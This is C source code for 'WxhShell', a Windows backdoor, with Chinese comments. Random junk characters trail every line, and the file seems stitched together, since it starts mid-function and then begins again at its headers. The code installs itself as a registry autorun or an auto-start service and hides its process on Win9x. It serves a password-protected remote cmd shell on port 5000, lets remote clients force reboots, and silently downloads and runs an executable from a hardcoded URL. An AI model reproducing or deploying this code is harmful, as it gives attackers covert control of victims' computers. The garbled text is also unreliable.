    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7 p}J]!Z  
    if(Boot(SHUTDOWN)) osPJ%I`^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Drs=7w  
    else { #; CC"  
    closesocket(wsh); kv{uf$X*ve  
    ExitThread(0); 0*^ J;QGE  
    } |WqEJ*$,  
    break; +LuGjDn0  
    } :34]}`-  
  // 获取shell A{3Aw|;  
  case 's': { 4=!SG4~o  
    CmdShell(wsh); <Z GEmQ  
    closesocket(wsh); "Ah (EZAR  
    ExitThread(0); QWz5iM  
    break; $fES06%  
  } d$Y3 a^O|  
  // 退出 ky>0  
  case 'x': { |U)m'W-(q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); booth}M  
    CloseIt(wsh); hqrI%%  
    break; H<T9$7Yr%r  
    } z(V?pHv+  
  // 离开 *W aL}i(P1  
  case 'q': { =2!AK[KxX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U'(}emh}  
    closesocket(wsh); /)fx(u#  
    WSACleanup(); Rj6:.KEJ  
    exit(1); GPlAQk  
    break; :?W {vV  
        } OjO$.ecT  
  } jyQ Bx  
  } ;Yo9e~  
wgfy; #  
  // 提示信息 2r;^OWwr?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1&N|k;#QS  
} :&: IZkO  
  } &* GwA  
{];4  
  return; oz $T.  
} juOOD   
jusP aAdW  
// shell模块句柄 h<;kj#qbb  
int CmdShell(SOCKET sock) nn>< k"  
{ R-nC+)^  
STARTUPINFO si; uMOm<kn  
ZeroMemory(&si,sizeof(si)); %SORs(4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7 +A-S9P)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )P4#P2  
PROCESS_INFORMATION ProcessInfo; Vfew )]I  
char cmdline[]="cmd"; D~_|`D5WK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `s74g0h  
  return 0; kB_uU !G  
} ] =ar&1}J  
.C=&` ;Vs  
// 自身启动模式 Y^5X>  
int StartFromService(void) obWBX'  
{ dv3+x\`9  
typedef struct [ox!MQ+s  
{ r"#h6lYK&  
  DWORD ExitStatus; 5<Mht6"H  
  DWORD PebBaseAddress; K|*Cka{  
  DWORD AffinityMask; 9`{[J['V  
  DWORD BasePriority; 2}`Q9?  
  ULONG UniqueProcessId; DF D5">g@  
  ULONG InheritedFromUniqueProcessId; fq-$u;~h  
}   PROCESS_BASIC_INFORMATION; 63:0Vt>hZ^  
!g:UkU\J  
PROCNTQSIP NtQueryInformationProcess; mw}obblR  
[?TQ!l}8A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )US|&> o8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2{naSiaq  
G"!YV#"~  
  HANDLE             hProcess; 'TclH80  
  PROCESS_BASIC_INFORMATION pbi; }G n2%  
AU1P?lk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #6{"c r6l  
  if(NULL == hInst ) return 0; il^SGH  
E.W7`zl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +js3o@Ku{\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bh=d'9B@&J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `K[:<p}  
tm\ <w H  
  if (!NtQueryInformationProcess) return 0; wqDRFZ1*P  
N{n}]Js1D-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6_/oVvd  
  if(!hProcess) return 0; !ZP1?l30  
 |u 8hxa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X;_0"g  
c)Ft#vzg&e  
  CloseHandle(hProcess); #u+BjuZo  
js )G   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uYjJDLYoHl  
if(hProcess==NULL) return 0; kfb+OE:7  
0^44${bA  
HMODULE hMod; 3}O.B r|  
char procName[255]; g3{)AX[Uy  
unsigned long cbNeeded; e #l/jFJU  
rN? L8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -F,o@5W>Y  
 01I5,Dm  
  CloseHandle(hProcess);  N3^pFy`  
#|*;~:fz  
if(strstr(procName,"services")) return 1; // 以服务启动 jeb<qi>  
h`&@>uEiq  
  return 0; // 注册表启动 &*g5kh{  
} 6$wS7Cu  
ko!38BH`/  
// 主模块 n`f},.NM|  
int StartWxhshell(LPSTR lpCmdLine) s%]-Sw9  
{ z.23i^Q  
  SOCKET wsl; xXO& -v{  
BOOL val=TRUE; Lc^nNUzPo  
  int port=0; $I_ 04k#t  
  struct sockaddr_in door; [ d<|Cde  
HC w$v#  
  if(wscfg.ws_autoins) Install(); >j?5MIm03  
E*Vx^k$  
port=atoi(lpCmdLine); YlOYgr^  
4@#1G*OO  
if(port<=0) port=wscfg.ws_port; sw*k(i  
a AYO(;3  
  WSADATA data; (omdmT%D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r5[om$|*  
q p|T,D%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,G1|] ~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q ,d]i/T  
  door.sin_family = AF_INET; xt +fu L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h./cs'&  
  door.sin_port = htons(port); ?zUV3Qgzj  
E=gD{1,?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Fy-nV% P  
closesocket(wsl); Sw#Ez-X  
return 1; x@.iDP@(  
} qM@][]j:  
DMcvu*A  
  if(listen(wsl,2) == INVALID_SOCKET) { xTD6?X'4  
closesocket(wsl); O60jC;{F  
return 1; IgEg  
} QHr 3J  
  Wxhshell(wsl); DLyHC=%{+h  
  WSACleanup(); ;~z>GJox  
8s8q`_.)(  
return 0; 3f's>+,#%  
/@FB;`'  
} 5`oor86  
W_8 FzXA  
// 以NT服务方式启动 05*_h0}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'DsfKR^ s  
{ &0f7>.y  
DWORD   status = 0; [k-7Kq  
  DWORD   specificError = 0xfffffff; 8q7KqYu  
<t]c'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EBzg<-?o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _KmpC>J+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eJ{"\c(  
  serviceStatus.dwWin32ExitCode     = 0; ~'fa,XZ<  
  serviceStatus.dwServiceSpecificExitCode = 0; BO[Q"g$Kon  
  serviceStatus.dwCheckPoint       = 0; X_s;j5ur  
  serviceStatus.dwWaitHint       = 0; H#U{i  
i40r}?-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); avO+1<`4B  
  if (hServiceStatusHandle==0) return; ABhza|  
vo Q,K9  
status = GetLastError(); oBqP^uT>a|  
  if (status!=NO_ERROR) 6z%3l7#7Yi  
{ %n}fkj'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; { KwLcSn  
    serviceStatus.dwCheckPoint       = 0; /7S]%UY  
    serviceStatus.dwWaitHint       = 0; R$,`}@VqZ3  
    serviceStatus.dwWin32ExitCode     = status; nq/xD;q  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?0[%+AD hM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AG}' W  
    return; ZM; EjS1  
  } [$[t.m  
ieBW 0eMi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (/"T=`3t  
  serviceStatus.dwCheckPoint       = 0; .[cT3l/t  
  serviceStatus.dwWaitHint       = 0; .U5+PQN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &[*<>  
} 08k1 w,6W  
*B:{g>0  
// 处理NT服务事件,比如:启动、停止 od^ha  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QH\*l~;B\  
{ ^ fK8~g;rB  
switch(fdwControl) ~w]1QHA'f  
{  vA`[#(C  
case SERVICE_CONTROL_STOP: 5tq$SF42X  
  serviceStatus.dwWin32ExitCode = 0; MiRH i<g0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \TMRS(  
  serviceStatus.dwCheckPoint   = 0; ;t?pyFT2Z  
  serviceStatus.dwWaitHint     = 0; Ur&: Rr  
  { 8QC:ro  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HqYaQ~Dth  
  } $Uewv +  
  return; HwST^\Ao  
case SERVICE_CONTROL_PAUSE: D@ =.4z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [c86b  
  break; bMSF-lQ  
case SERVICE_CONTROL_CONTINUE: ui 2RTAb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GMNf#;x  
  break; u]dpA  
case SERVICE_CONTROL_INTERROGATE: Z,i klB-  
  break; yAi4v[  
}; T}!7LNE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |=%$7b\C  
} a}>GQu*y  
t&r?O dc&m  
// 标准应用程序主函数 |um)vlN;9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vN4X%^:(  
{ 7gQt k  
r1?LKoJOn  
// 获取操作系统版本  %;W8;  
OsIsNt=GetOsVer(); m9e$ZZG$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #='#`5_5  
^Ws~h\{%  
  // 从命令行安装 um8ZhXq  
  if(strpbrk(lpCmdLine,"iI")) Install(); J7cqnj  
Yhsb$wu  
  // 下载执行文件 }+=@Ci  
if(wscfg.ws_downexe) { xq~=T:>/A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IB;y8e,  
  WinExec(wscfg.ws_filenam,SW_HIDE); hcf>J6ZLT  
} *n[Fl  
`7 B [<  
if(!OsIsNt) { J| DWT+$#Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 "V:UQ<a\  
HideProc(); 54^hBejQ  
StartWxhshell(lpCmdLine); ,~4(td+R7  
} dO8Z {wfs  
else fV5#k@,")  
  if(StartFromService()) 15s?QSKj  
  // 以服务方式启动 1gm{.*G  
  StartServiceCtrlDispatcher(DispatchTable); _%L3?PpF"  
else X@D3  
  // 普通方式启动  E;|\?>  
  StartWxhshell(lpCmdLine); 5 + Jy  
9a4RW}S<  
return 0; ;zJ_apZ:{  
} %vThbP#mR|  
_9gn;F  
ftH 0aI  
CNN?8/u!@  
=========================================== kU^@R<Fo  
1)Ag|4  
q;AQ6k(  
?41| e+p  
<_Lo3WGwc  
)eG&"3kFe!  
" oDP|>yXC)  
}`g*pp*  
#include <stdio.h> x p$0J<2  
#include <string.h> ^IId =V=2  
#include <windows.h> 3&*%>)  
#include <winsock2.h> Rd!.8K[  
#include <winsvc.h> E nUo B<  
#include <urlmon.h> p_nrua?  
#]'V#[;~  
#pragma comment (lib, "Ws2_32.lib") wGxLs>| 4  
#pragma comment (lib, "urlmon.lib") Ip0Zf?  
D2mB4  
#define MAX_USER   100 // 最大客户端连接数 @6tx5D?  
#define BUF_SOCK   200 // sock buffer M<L<mP}  
#define KEY_BUFF   255 // 输入 buffer i@;a%$5  
D"WkD j"M  
#define REBOOT     0   // 重启 tvH)I px  
#define SHUTDOWN   1   // 关机 \G"/Myi  
.5z|g@ 6  
#define DEF_PORT   5000 // 监听端口 ZuhT \l  
tO0+~Wm  
#define REG_LEN     16   // 注册表键长度 h}d7M55#|  
#define SVC_LEN     80   // NT服务名长度 G?g7G,|d  
Z:OO|x  
// 从dll定义API }v!6BU6<Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0qZ)$ YKq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g[n8N{s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lr~K3nb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?t"PawBWE  
ditzl(L   
// wxhshell配置信息 x?F{=\z/o  
struct WSCFG { p?h;Sv/  
  int ws_port;         // 监听端口 INT2i8oU  
  char ws_passstr[REG_LEN]; // 口令 I"!{HnSG`  
  int ws_autoins;       // 安装标记, 1=yes 0=no :({<"H)!'  
  char ws_regname[REG_LEN]; // 注册表键名 JQCwI`%i  
  char ws_svcname[REG_LEN]; // 服务名 !(~>-;A8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yUG5'<lX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D0P% .r"v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9%wppNT/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q8lK6p\:W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" utE:HD.PN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S .jjB  
!< )_ F  
}; GwycSb1  
M}<=~/k`j  
// default Wxhshell configuration !RD,:\5V  
struct WSCFG wscfg={DEF_PORT, D^~g q`/)  
    "xuhuanlingzhe",  {MtB!x  
    1, ^`7t@G$ D  
    "Wxhshell", t<7WM'2<y  
    "Wxhshell", 7 AiCQWf9  
            "WxhShell Service", [ b W=>M  
    "Wrsky Windows CmdShell Service", 3{z|301<m  
    "Please Input Your Password: ", r?TK@^z  
  1, K6U>Qums  
  "http://www.wrsky.com/wxhshell.exe", {Vm36/a  
  "Wxhshell.exe" i<?4iwX%i*  
    }; 6. jZy~  
D^{:UbN  
// 消息定义模块 Z^l!y5s/H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ChGM7uu2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gK(4<PO'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !O-+ h0Z  
char *msg_ws_ext="\n\rExit."; @FV;5M:I  
char *msg_ws_end="\n\rQuit."; .g~@e_;):  
char *msg_ws_boot="\n\rReboot..."; 8iNAs#s  
char *msg_ws_poff="\n\rShutdown..."; o~K2K5I  
char *msg_ws_down="\n\rSave to "; -(.7/G'Vk>  
$yAfs3/%)s  
char *msg_ws_err="\n\rErr!"; QFPx4F7(e  
char *msg_ws_ok="\n\rOK!"; 8hfh,v5(  
>N J$ac  
char ExeFile[MAX_PATH]; Wd AGZUp  
int nUser = 0; SS~Q;9o  
HANDLE handles[MAX_USER]; $%JyM  
int OsIsNt; w!RH*S  
.7FI%  
SERVICE_STATUS       serviceStatus; S+G)&<a^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,LZ:y1z'V-  
a AM UJk  
// 函数声明 uH[0kh  
int Install(void); OpLSjr  
int Uninstall(void); N 3c*S"1  
int DownloadFile(char *sURL, SOCKET wsh); }hYE6~pr  
int Boot(int flag); 5m42Bqy"  
void HideProc(void); p'qH [<s  
int GetOsVer(void);  G{.+D2  
int Wxhshell(SOCKET wsl); HH?*"cKF~  
void TalkWithClient(void *cs); "~<~b2Y"5  
int CmdShell(SOCKET sock); jVIpbG4 4  
int StartFromService(void); gpWS_Dw9  
int StartWxhshell(LPSTR lpCmdLine); A.O~'')X  
^mpB\D)q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @UX@puK`/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =fG8YZ(  
@W8}N|jek  
// 数据结构和表定义 DZRxp,  
SERVICE_TABLE_ENTRY DispatchTable[] = a`*WpP\+  
{ :$aW@?zAY  
{wscfg.ws_svcname, NTServiceMain}, [r8 d+  
{NULL, NULL} MF}Lv1/[-J  
}; ?8@*q6~8  
HW72 6K*  
// 自我安装 dA/o4co  
int Install(void) |vz;bJG  
{ =7fh1XnW  
  char svExeFile[MAX_PATH]; "ru1;I  
  HKEY key; (N|xDl &;  
  strcpy(svExeFile,ExeFile); &o@5%Rz2/  
}dJ ~Iy  
// 如果是win9x系统,修改注册表设为自启动 8 -;ZPhN&  
if(!OsIsNt) { z|*6fFE   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L0b] ^_ tI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }27Vh0v  
  RegCloseKey(key); Vor9 ?F&w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "NH+qQhs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7RE6y(V1  
  RegCloseKey(key); B:4qW[U#  
  return 0; J.2]km  
    } ZHlin#"  
  } \)ZX4rs{8  
} :s '"u]  
else { (B,t 1+%  
*u'`XRJU/  
// 如果是NT以上系统,安装为系统服务 dY@Tt&k8E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }]+}Tipd  
if (schSCManager!=0) 8'"/gC{  
{ G!Oq>7  
  SC_HANDLE schService = CreateService hX| UE  
  ( V)QR!4De  
  schSCManager, |~LjH|*M  
  wscfg.ws_svcname, KH>sCEt  
  wscfg.ws_svcdisp, <S@mQJS!y  
  SERVICE_ALL_ACCESS, vC<kpf!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]#q7}Sd  
  SERVICE_AUTO_START, irb.F>(x  
  SERVICE_ERROR_NORMAL, u6I0<i_KZ  
  svExeFile, :YXQ9/iRr  
  NULL, W?J*9XQ`  
  NULL, ioa_AG6B  
  NULL, <VR&= YJ  
  NULL, G!LNP&~  
  NULL dzNaow*0&V  
  ); PB<Sc>{U  
  if (schService!=0) N|d.!Q;V.y  
  { soQzIx  
  CloseServiceHandle(schService); n;^k   
  CloseServiceHandle(schSCManager); 7WfirRM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9Q7cUoxY  
  strcat(svExeFile,wscfg.ws_svcname); OGi4m |  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { | ,l=v`/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t>GLZzO  
  RegCloseKey(key); 'a/6]%QFd!  
  return 0; H&=4y) /.  
    } h9w^7MbO  
  } wQrPS  
  CloseServiceHandle(schSCManager); ?Gv!d  
} `) !2E6 =  
} +6)kX4  
2j/1@Z1j=  
return 1; &Yks,2:P  
} f.84=epv  
\v P2B  
// 自我卸载 27 YLg c  
int Uninstall(void) *o\Y~U-so  
{ dms:i)L2  
  HKEY key; zV(tvt  
i~Ob( YIH  
if(!OsIsNt) { 2N8sq(LK{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^@LhUs>3  
  RegDeleteValue(key,wscfg.ws_regname); V?V)&y] 4  
  RegCloseKey(key); Nw$[a$^n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^AjYe<RU}  
  RegDeleteValue(key,wscfg.ws_regname); ,-I F++q  
  RegCloseKey(key); ]G o~]7(5|  
  return 0; l)rvh#D  
  } awSS..g}L  
} a0/n13c?G  
} 3G/ mB  
else { ^%8Hvy  
iMeRQYW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9s6>9hMb)  
if (schSCManager!=0) a2=uM}Hsp  
{ K-Dk2(x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sa gBmA~  
  if (schService!=0) s?;<F  
  { # pjyhH@  
  if(DeleteService(schService)!=0) { g9weJ6@}M  
  CloseServiceHandle(schService); + yP[(b/  
  CloseServiceHandle(schSCManager); 8&A|)ur4  
  return 0; 3|'#n[3  
  } JXRf4QmG  
  CloseServiceHandle(schService); (zw=qbS&  
  } "G-0iKW;  
  CloseServiceHandle(schSCManager); 60~>f)vu  
} b^l -*4  
} Rr;LV<q+  
vD)A)  
return 1; T.w}6? 2  
} $L&9x3+?Kg  
B[/['sD  
// 从指定url下载文件 LY88;*:S  
int DownloadFile(char *sURL, SOCKET wsh) e<O;pM:  
{ Fb{`a[&  
  HRESULT hr; >upXt?  
char seps[]= "/"; Aiks>Cyi23  
char *token; ~ut& U  
char *file; *CPB5s  
char myURL[MAX_PATH]; xlPcg7  
char myFILE[MAX_PATH]; K.iH  
Yr"!&\[oz  
strcpy(myURL,sURL); q{De&Bu  
  token=strtok(myURL,seps); " ,aT<lw.  
  while(token!=NULL) qp~4KukL  
  { Sv ~1XL W  
    file=token; R!V5-0%  
  token=strtok(NULL,seps); Uygw*+  
  } F<oc Y0=9p  
fCt\2);a  
GetCurrentDirectory(MAX_PATH,myFILE); dj y:  
strcat(myFILE, "\\"); leb^,1/D6  
strcat(myFILE, file); zmL~]! ~&  
  send(wsh,myFILE,strlen(myFILE),0); \BbOljM=  
send(wsh,"...",3,0); bUAR<R'E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |p8"9jN@}c  
  if(hr==S_OK) DtJTnvG~B  
return 0; ++Ys9Y)*,  
else uRB)g  
return 1; spSN6 .j  
1y)$[e   
} |<$<L`xoe  
v-7Rb )EP  
// 系统电源模块 B )1<`nJA  
int Boot(int flag) msqxPC^I  
{ _L:i=.hxN  
  HANDLE hToken; 5fj  
  TOKEN_PRIVILEGES tkp; 5;K-,"UQ  
k qY3r &  
  if(OsIsNt) { I"F .%re  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ><#2O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vzohq1r5  
    tkp.PrivilegeCount = 1; &` 00/p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &8X .!r`f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n$OE~YwP{  
if(flag==REBOOT) { hk5E=t~&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O'!r]0Q  
  return 0; _r<zSH%  
} _,Rsl$Tk'  
else { -e`oW.+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IB#iJ# ,  
  return 0; I4o =6ts  
} ,>QMyI hv  
  } *b6I%MZn  
  else { d Ik8TJ  
if(flag==REBOOT) { fOK+DT~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9Ew:.&d  
  return 0; Rekb?|{z  
} /+x#V!zM  
else { wzDk{4U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c+Q.?vJ  
  return 0; t4jd KYA  
} j5,^9'  
} dK J@{d  
t> x-1vf%  
return 1; =$)4:  
} 6=G~6Qu  
##EB; Y  
// win9x进程隐藏模块 v ]/OAH6D  
void HideProc(void) nL":0!DTRD  
{ !y qa?\v9  
mX<Fuu}E*Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AK@`'$  
  if ( hKernel != NULL ) m{b ZRkt  
  { jSwtf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5q(]1|Se i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z#OhYm+y  
    FreeLibrary(hKernel);  /i-xX*  
  } WNn[L=f  
#hD}S~  
return; LC,*H0  
} gnQo1q{ 4  
E'e8&3!bx  
// 获取操作系统版本 Q )LXL.0h  
int GetOsVer(void) tb:,Uf>E  
{ M('s|>\l  
  OSVERSIONINFO winfo; ?Y? gzD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  (kWSK:l  
  GetVersionEx(&winfo); QQg8+{>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *PSvHXNi  
  return 1; V-KL%  
  else bH\'uaJ  
  return 0; N|!MO{sB  
} biK)&6|`sa  
;ZQ- uz  
// 客户端句柄模块 D00G1:Ft(T  
int Wxhshell(SOCKET wsl) ^wx%CdFm'P  
{ ~ON1Zw[+  
  SOCKET wsh; *#&k+{a^2  
  struct sockaddr_in client; |^7f\.oF  
  DWORD myID; 8sN#e(@  
V=j-Um;  
  while(nUser<MAX_USER) GBH_r 0  
{ {fGd:2dh  
  int nSize=sizeof(client); \H Wcd|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EJf#f  
  if(wsh==INVALID_SOCKET) return 1; YSR mt/  
!_CX2|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Awu$g.  
if(handles[nUser]==0) S  ~@r  
  closesocket(wsh); {]wIM^$6+  
else O1GDugZ  
  nUser++; ~L- 0~  
  } A}t%;V2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NFk}3w:  
[##`U m  
  return 0; 403[oOj  
} YBb)/ZghY  
0 HGlf  
// 关闭 socket [8>z#*B  
void CloseIt(SOCKET wsh) BdN8 ^W  
{ :83,[;GO2  
closesocket(wsh); FJP< bREQ  
nUser--; ?e F@Q !h  
ExitThread(0); )v[XmJ>H~o  
} 8F#osN  
j|:dYt`WM  
// 客户端请求句柄 I Byf_E;r  
void TalkWithClient(void *cs) _f cS>/<a  
{ !ZFr7Xz  
F%xK"l`&  
  SOCKET wsh=(SOCKET)cs; xK(IS:HJ*  
  char pwd[SVC_LEN]; ~9Z h,p ;  
  char cmd[KEY_BUFF]; 9ky7r;?  
char chr[1]; !Eq#[Gs  
int i,j; <d5@CA+M  
o^3FL||P#r  
  while (nUser < MAX_USER) { >(X #<`  
rh@r\ H@j  
if(wscfg.ws_passstr) { "jMqt9ysN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HF"Eys  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >~_J q|KBB  
  //ZeroMemory(pwd,KEY_BUFF); 6+.>5e  
      i=0; a:85L!~:l  
  while(i<SVC_LEN) { *HR +a#o  
A (Bk@;  
  // 设置超时 ]kx-,M(  
  fd_set FdRead; pet~[e%!  
  struct timeval TimeOut; JIzY,%`\  
  FD_ZERO(&FdRead); /Rj#sxtdw  
  FD_SET(wsh,&FdRead); }g~g50ci  
  TimeOut.tv_sec=8; 3y99O $EAc  
  TimeOut.tv_usec=0; KU-'+k2s;p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 11@]d ]v ,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q]@c&*_|  
<3A0={En  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4'',6KJ@  
  pwd=chr[0]; >OV<_(S4  
  if(chr[0]==0xd || chr[0]==0xa) { nX|Q~x]  
  pwd=0; H@GE)I>^@  
  break; o\Uu?.-<  
  } )l&D]3$6K  
  i++; #%:c0=  
    } 2-~|Z=eGW  
F/>*If s  
  // 如果是非法用户,关闭 socket |( G2K'Ab  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vA=Z=8  
} yGxv?%%2  
ow$q7uf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kY"KD22a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F$Hx`hoy  
@Br {!#Wf  
while(1) { u:@U $:sZ  
B{C_hy-fw  
  ZeroMemory(cmd,KEY_BUFF); ^T:gb]i'Qa  
?]c+j1 i  
      // 自动支持客户端 telnet标准   8V9 [a*9  
  j=0; \q "N/$5{f  
  while(j<KEY_BUFF) { 7Y1GUIRa3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r`j Wp\z  
  cmd[j]=chr[0]; %Tv^GP{}  
  if(chr[0]==0xa || chr[0]==0xd) { gY(1,+0-  
  cmd[j]=0; fiVHRSX60  
  break; jfD1  
  } WK0C  
  j++; t V03+&jF  
    } qTT,U9]:  
Tk*w3c"$  
  // 下载文件 T>A{ qu  
  if(strstr(cmd,"http://")) { MuwQZ]u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ha%F"V*  
  if(DownloadFile(cmd,wsh)) 8Hi!kc;f6>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /)EY2Y'  
  else EF#QH _X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P`S@n/}  
